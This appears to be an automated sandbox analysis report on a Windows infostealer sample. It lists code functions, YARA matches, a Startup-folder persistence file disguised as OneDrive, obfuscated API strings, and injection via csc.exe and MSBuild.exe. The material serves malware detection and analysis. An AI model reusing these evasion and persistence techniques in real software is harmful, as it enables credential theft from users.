Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035F0868	16_2_035F0868
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035AD890	16_2_035AD890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035CAF2C	16_2_035CAF2C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035D8FC4	16_2_035D8FC4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035A9E5C	16_2_035A9E5C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035AFE14	16_2_035AFE14
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035E9D70	16_2_035E9D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035B8D18	16_2_035B8D18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035E8C20	16_2_035E8C20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_037803F0	16_2_037803F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_037813A0	16_2_037813A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_0379E21F	16_2_0379E21F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_03797138	16_2_03797138
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_037A2074	16_2_037A2074
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_03780088	16_2_03780088
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_037807E0	16_2_037807E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_03783680	16_2_03783680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_037804DC	16_2_037804DC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_0377AA64	16_2_0377AA64
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_0379FA0C	16_2_0379FA0C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_037A0938	16_2_037A0938
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_037D0F7C	16_2_037D0F7C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_037A2F8B	16_2_037A2F8B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_037A0D74	16_2_037A0D74
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_037A2DD8	16_2_037A2DD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_037A1C58	16_2_037A1C58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_03594380	16_2_03594380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_034AC220	16_2_034AC220
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035622F8	16_2_035622F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_0357C284	16_2_0357C284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_0357E1EC	16_2_0357E1EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035A205C	16_2_035A205C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_03580704	16_2_03580704
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035A2618	16_2_035A2618
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035E2268	16_2_035E2268
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035CF834	16_2_035CF834
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 16_2_035DBE70	16_2_035DBE70
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Code function: 18_2_032659E2	18_2_032659E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_0373A130	27_2_0373A130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_036C50D0	27_2_036C50D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_036C908C	27_2_036C908C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_036C9550	27_2_036C9550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_03726BAC	27_2_03726BAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_037CAA64	27_2_037CAA64
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_036C9810	27_2_036C9810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_036C2F8C	27_2_036C2F8C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_035B0DD8	27_2_035B0DD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_035B0DCC	27_2_035B0DCC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_035B0DC4	27_2_035B0DC4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_035B0D98	27_2_035B0D98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_035B0DB8	27_2_035B0DB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_035B0DA8	27_2_035B0DA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 27_2_02CB07AF	27_2_02CB07AF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 0334A2F8 appears 239 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 03816DCC appears 126 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 0334A3E4 appears 38 times

Source: zsd5jgZ9LU.exe, 00000000.00000002.1312119727.000000000091E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs zsd5jgZ9LU.exe
Source: zsd5jgZ9LU.exe, 00000000.00000000.1219191531.00000000004BC000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameBoodyF.exe. vs zsd5jgZ9LU.exe
Source: zsd5jgZ9LU.exe, 00000000.00000002.1313462771.0000000002932000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamexo2xvbmi.dll4 vs zsd5jgZ9LU.exe
Source: zsd5jgZ9LU.exe, 00000000.00000002.1323755370.0000000004E30000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameBloorFlor.exe4 vs zsd5jgZ9LU.exe
Source: zsd5jgZ9LU.exe, 00000000.00000002.1323841446.0000000004E60000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamexo2xvbmi.dll4 vs zsd5jgZ9LU.exe
Source: zsd5jgZ9LU.exe, 00000000.00000002.1315408547.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBloorFlor.exe4 vs zsd5jgZ9LU.exe
Source: zsd5jgZ9LU.exe, 00000000.00000002.1315408547.0000000003871000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenametkirzpgp.dll4 vs zsd5jgZ9LU.exe
Source: zsd5jgZ9LU.exe, 00000000.00000002.1323643302.0000000004DF0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameBloorFlor.exe4 vs zsd5jgZ9LU.exe
Source: zsd5jgZ9LU.exe, 00000000.00000002.1323643302.0000000004DF0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenametkirzpgp.dll4 vs zsd5jgZ9LU.exe
Source: zsd5jgZ9LU.exe, 00000012.00000002.1489499460.0000000003522000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename5wfb2epz.dll4 vs zsd5jgZ9LU.exe
Source: zsd5jgZ9LU.exe, 00000012.00000002.1492962390.0000000004A17000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBloorFlor.exe4 vs zsd5jgZ9LU.exe
Source: zsd5jgZ9LU.exe, 00000012.00000002.1487897132.000000000161E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs zsd5jgZ9LU.exe
Source: zsd5jgZ9LU.exe, 00000012.00000002.1492962390.00000000049F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBloorFlor.exe4 vs zsd5jgZ9LU.exe
Source: zsd5jgZ9LU.exe, 00000012.00000002.1492962390.00000000049F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamequl4nop0.dll4 vs zsd5jgZ9LU.exe
Source: zsd5jgZ9LU.exe, 00000012.00000002.1494646000.0000000005A80000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilename5wfb2epz.dll4 vs zsd5jgZ9LU.exe
Source: zsd5jgZ9LU.exe, 00000012.00000002.1494544223.0000000005A42000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamequl4nop0.dll4 vs zsd5jgZ9LU.exe
Source: zsd5jgZ9LU.exe	Binary or memory string: OriginalFilenameBoodyF.exe. vs zsd5jgZ9LU.exe

Source: 27.2.MSBuild.exe.3340000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 27.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 27.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 0000001B.00000002.1489744161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers

Source: 0.2.zsd5jgZ9LU.exe.29797b8.0.raw.unpack, CountryPick.cs	Base64 encoded string: 'tRb3StRb3etRb3ttRb3TtRb3htRb3rtRb3etRb3atRb3dtRb3CtRb3otRb3ntRb3ttRb3etRb3xtRb3ttRb3', 'rxv2SgCrxv2Sgrrxv2Sgerxv2Sgarxv2Sgtrxv2Sgerxv2SgPrxv2Sgrrxv2Sgorxv2Sgcrxv2Sgerxv2Sgsrxv2Sgsrxv2SgArxv2Sg'
Source: 0.2.zsd5jgZ9LU.exe.4e60000.10.raw.unpack, CountryPick.cs	Base64 encoded string: 'tRb3StRb3etRb3ttRb3TtRb3htRb3rtRb3etRb3atRb3dtRb3CtRb3otRb3ntRb3ttRb3etRb3xtRb3ttRb3', 'rxv2SgCrxv2Sgrrxv2Sgerxv2Sgarxv2Sgtrxv2Sgerxv2SgPrxv2Sgrrxv2Sgorxv2Sgcrxv2Sgerxv2Sgsrxv2Sgsrxv2SgArxv2Sg'
Source: xo2xvbmi.dll.5.dr, CountryPick.cs	Base64 encoded string: 'tRb3StRb3etRb3ttRb3TtRb3htRb3rtRb3etRb3atRb3dtRb3CtRb3otRb3ntRb3ttRb3etRb3xtRb3ttRb3', 'rxv2SgCrxv2Sgrrxv2Sgerxv2Sgarxv2Sgtrxv2Sgerxv2SgPrxv2Sgrrxv2Sgorxv2Sgcrxv2Sgerxv2Sgsrxv2Sgsrxv2SgArxv2Sg'
Source: 18.2.zsd5jgZ9LU.exe.5a80000.9.raw.unpack, CountryPick.cs	Base64 encoded string: 'tRb3StRb3etRb3ttRb3TtRb3htRb3rtRb3etRb3atRb3dtRb3CtRb3otRb3ntRb3ttRb3etRb3xtRb3ttRb3', 'rxv2SgCrxv2Sgrrxv2Sgerxv2Sgarxv2Sgtrxv2Sgerxv2SgPrxv2Sgrrxv2Sgorxv2Sgcrxv2Sgerxv2Sgsrxv2Sgsrxv2SgArxv2Sg'
Source: 18.2.zsd5jgZ9LU.exe.3568820.1.raw.unpack, CountryPick.cs	Base64 encoded string: 'tRb3StRb3etRb3ttRb3TtRb3htRb3rtRb3etRb3atRb3dtRb3CtRb3otRb3ntRb3ttRb3etRb3xtRb3ttRb3', 'rxv2SgCrxv2Sgrrxv2Sgerxv2Sgarxv2Sgtrxv2Sgerxv2SgPrxv2Sgrrxv2Sgorxv2Sgcrxv2Sgerxv2Sgsrxv2Sgsrxv2SgArxv2Sg'

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@34/25@3/4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 27_2_035ADB28 CoCreateInstance,

27_2_035ADB28

Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.url

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6708:120:WilError_03
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7096:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3484:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6436:120:WilError_03

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: zsd5jgZ9LU.exe, 00000000.00000002.1324248923.0000000005841000.00000004.00000800.00020000.00000000.sdmp, zsd5jgZ9LU.exe, 00000000.00000002.1315408547.0000000003E60000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001B.00000002.1496632747.0000000003359000.00000040.00001000.00020000.00000000.sdmp, MSBuild.exe, 0000001B.00000002.1489744161.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: zsd5jgZ9LU.exe, 00000000.00000002.1324248923.0000000005841000.00000004.00000800.00020000.00000000.sdmp, zsd5jgZ9LU.exe, 00000000.00000002.1315408547.0000000003E60000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001B.00000002.1496632747.0000000003359000.00000040.00001000.00020000.00000000.sdmp, MSBuild.exe, 0000001B.00000002.1489744161.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: zsd5jgZ9LU.exe, 00000000.00000002.1324248923.0000000005841000.00000004.00000800.00020000.00000000.sdmp, zsd5jgZ9LU.exe, 00000000.00000002.1315408547.0000000003E60000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001B.00000002.1496632747.0000000003359000.00000040.00001000.00020000.00000000.sdmp, MSBuild.exe, 0000001B.00000002.1489744161.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: zsd5jgZ9LU.exe, 00000000.00000002.1324248923.0000000005841000.00000004.00000800.00020000.00000000.sdmp, zsd5jgZ9LU.exe, 00000000.00000002.1315408547.0000000003E60000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001B.00000002.1496632747.0000000003359000.00000040.00001000.00020000.00000000.sdmp, MSBuild.exe, 0000001B.00000002.1489744161.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');

Source: unknown	Process created: C:\Users\user\Desktop\zsd5jgZ9LU.exe "C:\Users\user\Desktop\zsd5jgZ9LU.exe"
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tkirzpgp\tkirzpgp.cmdline"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2DB.tmp" "c:\Users\user\AppData\Local\Temp\tkirzpgp\CSC51B3D3626D6842D5B72D44298C293C.TMP"
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xo2xvbmi\xo2xvbmi.cmdline"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES888.tmp" "c:\Users\user\AppData\Local\Temp\xo2xvbmi\CSC77F616922C5D4CA187853A69BCCD35F9.TMP"
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: unknown	Process created: C:\Windows\Temp\zsd5jgZ9LU.exe "C:\Windows\Temp\zsd5jgZ9LU.exe"
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qul4nop0.cmdline"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES464D.tmp" "c:\Users\user\AppData\Local\Temp\CSC286D3A74DE564A65A478D1CA1432C8C.TMP"
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5wfb2epz.cmdline"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4DCE.tmp" "c:\Users\user\AppData\Local\Temp\CSCC06E5127D0364BB483FE7262E1E39CC8.TMP"
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tkirzpgp\tkirzpgp.cmdline"	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xo2xvbmi\xo2xvbmi.cmdline"	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xo2xvbmi\xo2xvbmi.cmdline"	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2DB.tmp" "c:\Users\user\AppData\Local\Temp\tkirzpgp\CSC51B3D3626D6842D5B72D44298C293C.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES888.tmp" "c:\Users\user\AppData\Local\Temp\xo2xvbmi\CSC77F616922C5D4CA187853A69BCCD35F9.TMP"	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qul4nop0.cmdline"	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5wfb2epz.cmdline"	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Temp\zsd5jgZ9LU.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES464D.tmp" "c:\Users\user\AppData\Local\Temp\CSC286D3A74DE564A65A478D1CA1432C8C.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4DCE.tmp" "c:\Users\user\AppData\Local\Temp\CSCC06E5127D0364BB483FE7262E1E39CC8.TMP"

Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zsd5jgZ9LU.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
